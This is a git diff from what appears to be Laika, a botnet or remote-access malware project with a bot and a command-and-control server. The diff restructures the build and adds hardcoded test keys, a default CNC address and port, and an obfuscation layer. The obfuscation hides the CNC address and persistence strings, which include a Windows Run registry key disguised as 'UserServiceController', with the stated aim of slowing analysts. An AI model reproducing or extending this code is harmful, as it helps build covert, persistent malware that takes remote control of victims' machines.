diff --git a/.gitmodules b/.gitmodules
index bedad8c..42c9329 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,3 @@
 [submodule "cmake-modules/libsodium"]
-	path = lib/libsodium
+	path = libsodium
 	url = https://github.com/robinlinden/libsodium-cmake.git
diff --git a/CMakeLists.txt b/CMakeLists.txt
index e7c9545..58663c6 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -54,6 +54,40 @@ endif ()
 set(SODIUM_DISABLE_TESTS ON)
 set(SODIUM_MINIMAL ON)
 set(SODIUM_STATIC ON)
+add_subdirectory(libsodium)
+
+# ========================================== [[ CONFIG DEFAULTS ]] ==========================================
+
+set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h)
+
+# DO NOT USE THESE KEYS, TESTING ONLY (TODO: make vmboxgen auto gen these)
+if(NOT LAIKA_PUBKEY)
+    set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
+endif ()
+
+if(NOT LAIKA_PRIVKEY)
+    set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
+endif ()
+
+if(NOT LAIKA_CNC_IP)
+    set(LAIKA_CNC_IP "127.0.0.1")
+endif ()
+
+if(NOT LAIKA_CNC_PORT)
+    set(LAIKA_CNC_PORT "13337")
+endif ()
+
+# version details
+set(LAIKA_VERSION_MAJOR 0)
+set(LAIKA_VERSION_MINOR 3)
+
+message(STATUS "Building config file...")
+configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h)
+
+# config vm boxes
+add_subdirectory(tools/vmboxgen)
+
+# =========================================== [[ BUILD TOOLING ]] ===========================================
 
 # compile laikalib, tools, cnc & bot
 add_subdirectory(lib)
diff --git a/USAGE.md b/USAGE.md
new file mode 100644
index 0000000..ae44b66
--- /dev/null
+++ b/USAGE.md
@@ -0,0 +1,3 @@
+# Laika Build Process
+
+Laika has a specific setup process that need some explanation. Before 
\ No newline at end of file
diff --git a/bot/src/main.c b/bot/src/main.c
index 8ffbea5..05cf79c 100644
--- a/bot/src/main.c
+++ b/bot/src/main.c
@@ -1,5 +1,6 @@
 #include <stdio.h>
 
+#include "lbox.h"
 #include "lconfig.h"
 #include "lerror.h"
 #include "ltask.h"
@@ -12,6 +13,10 @@
 #else
   int main() {
 #endif
+    /* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
+        not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
+    LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
+    LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
     struct sLaika_bot *bot;
 
 #ifdef LAIKA_PERSISTENCE
@@ -25,7 +30,7 @@
 
         LAIKA_TRY
             /* connect to test CNC */
-            laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
+            laikaB_connectToCNC(bot, cncIP, cncPORT);
 
             /* while connection is still alive, poll bot */
             while (laikaS_isAlive((&bot->peer->sock))) {
@@ -46,5 +51,6 @@
     laikaB_unmarkRunning();
 #endif
 
+    /* vm boxes are left opened */
     return 0;
 }
\ No newline at end of file
diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt
index 4ab0d2e..99c0bc2 100644
--- a/lib/CMakeLists.txt
+++ b/lib/CMakeLists.txt
@@ -2,42 +2,11 @@ cmake_minimum_required(VERSION 3.16)
 
 set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
 
-# DO NOT USE THESE KEYS, TESTING ONLY
-if(NOT LAIKA_PUBKEY)
-    set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
-endif ()
-
-if(NOT LAIKA_PRIVKEY)
-    set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
-endif ()
-
-if(NOT LAIKA_CNC_IP)
-    set(LAIKA_CNC_IP "127.0.0.1")
-endif ()
-
-if(NOT LAIKA_CNC_PORT)
-    set(LAIKA_CNC_PORT "13337")
-endif ()
-
-# version details
-set(LAIKA_VERSION_MAJOR 0)
-set(LAIKA_VERSION_MINOR 2)
-set(SODIUM_DISABLE_TESTS ON)
-
-# vmbox config location
-set(LAIKA_VMBOXCONFIG ${LIB_INCLUDEDIR}/lboxconfig.h PARENT_SCOPE)
-
 project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
 
-message(STATUS "Building config file...")
-configure_file(${LIB_INCLUDEDIR}/lconfig.h.in ${LIB_INCLUDEDIR}/lconfig.h)
-
 # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
 set_property(GLOBAL PROPERTY USE_FOLDERS ON)
 
-# include libsodium
-add_subdirectory(libsodium)
-
 # compile LaikaLib library
 file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
 file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
diff --git a/lib/include/lconfig.h.in b/lib/include/lconfig.h.in
index be21450..d6b2179 100644
--- a/lib/include/lconfig.h.in
+++ b/lib/include/lconfig.h.in
@@ -44,4 +44,6 @@
 #define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
 #define LAIKA_WIN_REG_VAL "UserServiceController"
 
+#define LAIKA_VM_CODESIZE 512
+
 #endif
\ No newline at end of file
diff --git a/lib/include/lvm.h b/lib/include/lvm.h
index de63e3e..05ec4a1 100644
--- a/lib/include/lvm.h
+++ b/lib/include/lvm.h
@@ -14,7 +14,6 @@
 #include "laika.h"
 #include "lerror.h"
 
-#define LAIKA_VM_CODESIZE 512
 #define LAIKA_VM_STACKSIZE 64
 #define LAIKA_VM_CONSTSIZE 32
 
diff --git a/lib/libsodium b/libsodium
similarity index 100%
rename from lib/libsodium
rename to libsodium
diff --git a/tools/CMakeLists.txt b/tools/CMakeLists.txt
index 92a2ff2..aa02c95 100644
--- a/tools/CMakeLists.txt
+++ b/tools/CMakeLists.txt
@@ -1,5 +1,4 @@
 cmake_minimum_required(VERSION 3.16)
 
-add_subdirectory(vmboxgen)
 add_subdirectory(genkey)
 add_subdirectory(vmtest)
diff --git a/tools/vmboxgen/CMakeLists.txt b/tools/vmboxgen/CMakeLists.txt
index 5146de1..c2890b4 100644
--- a/tools/vmboxgen/CMakeLists.txt
+++ b/tools/vmboxgen/CMakeLists.txt
@@ -8,7 +8,7 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
 # compile vmTest
 file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 add_executable(VMBoxGen ${VMTESTSOURCE})
-target_link_libraries(VMBoxGen PUBLIC LaikaLib)
+target_link_libraries(VMBoxGen PUBLIC)
 
 # add the 'DEBUG' preprocessor definition if we're compiling as Debug
 target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
@@ -16,8 +16,7 @@ target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
 # generate the VMBOXCONFIG file
 if(LAIKA_OBFUSCATE)
     add_custom_command(TARGET VMBoxGen POST_BUILD
-        DEPENDS VMBoxGen
         COMMAND VMBoxGen ${LAIKA_VMBOXCONFIG}
-        COMMENT "Generating VMBox data & keys..."
+        COMMENT "Generating VMBox data & keys.."
     )
 endif ()
\ No newline at end of file
diff --git a/tools/vmboxgen/src/main.c b/tools/vmboxgen/src/main.c
index 8cf887f..66795b7 100644
--- a/tools/vmboxgen/src/main.c
+++ b/tools/vmboxgen/src/main.c
@@ -1,12 +1,10 @@
 #include <stdio.h>
 #include <stdlib.h>
+#include <string.h>
 #include <time.h>
 #include <inttypes.h>
 
-#include "lmem.h"
-#include "lvm.h"
-#include "lbox.h"
-#include "lsodium.h"
+#include "lconfig.h"
 
 #define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
 #define RANDBYTE (rand() % UINT8_MAX)
@@ -73,6 +71,9 @@ int main(int argv, char **argc) {
     srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */
 
     fprintf(out, PREAMBLE);
+    /* shared */
+    MAKESKIDDATA(LAIKA_CNC_IP);
+    MAKESKIDDATA(LAIKA_CNC_PORT);
     /* linux */
     MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
     MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
@@ -86,6 +87,8 @@ int main(int argv, char **argc) {
     MAKESKIDDATA(LAIKA_WIN_REG_VAL);
     fprintf(out, POSTAMBLE);
     fclose(out);
+
+    printf("Wrote %s\n", argc[1]);
     return 0;
 }